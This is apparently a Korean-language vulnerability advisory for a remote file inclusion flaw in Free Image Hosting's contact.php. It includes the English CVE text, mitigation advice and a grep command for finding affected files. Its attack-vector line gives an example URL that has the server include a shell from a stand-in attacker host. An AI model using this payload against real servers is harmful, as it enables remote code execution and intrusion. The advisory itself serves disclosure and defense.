🇰🇷 한글 설명
Free Image Hosting 1.0 이하의 contact.php에 존재하는 원격 파일 포함(RFI) 취약점으로, AD_BODY_TEMP 파라미터를 통해 공격자가 외부 PHP 파일을 포함시켜 임의의 코드를 서버에서 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 특정 입력 필드에 악의적인 파일 경로(URL)를 넣으면, 서버가 그 파일을 실행해버리는 보안 구멍입니다. 공격자가 자신의 악성 코드를 서버에서 실행하게 할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in contact.php in Free Image Hosting 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
📍 영향받는 시스템
Free Image Hosting 버전 1.0 이하
⚔️ 공격 벡터
contact.php의 AD_BODY_TEMP 파라미터에 외부 PHP 파일 경로 주입 (예: ?AD_BODY_TEMP=http://attacker.com/shell.php)
🛡️ 대응 방법
Free Image Hosting을 최신 버전으로 업그레이드하거나, PHP의 allow_url_include 옵션을 비활성화 및 입력값 검증 강화
🔧 검증 코드
contact.php 파일을 찾아 AD_BODY_TEMP 파라미터 사용 여부 확인; 파일 내 주석이나 설정에서 버전 정보 검증
find / -type f -name contact.php 2>/dev/null | xargs grep -l 'AD_BODY_TEMP' 2>/dev/null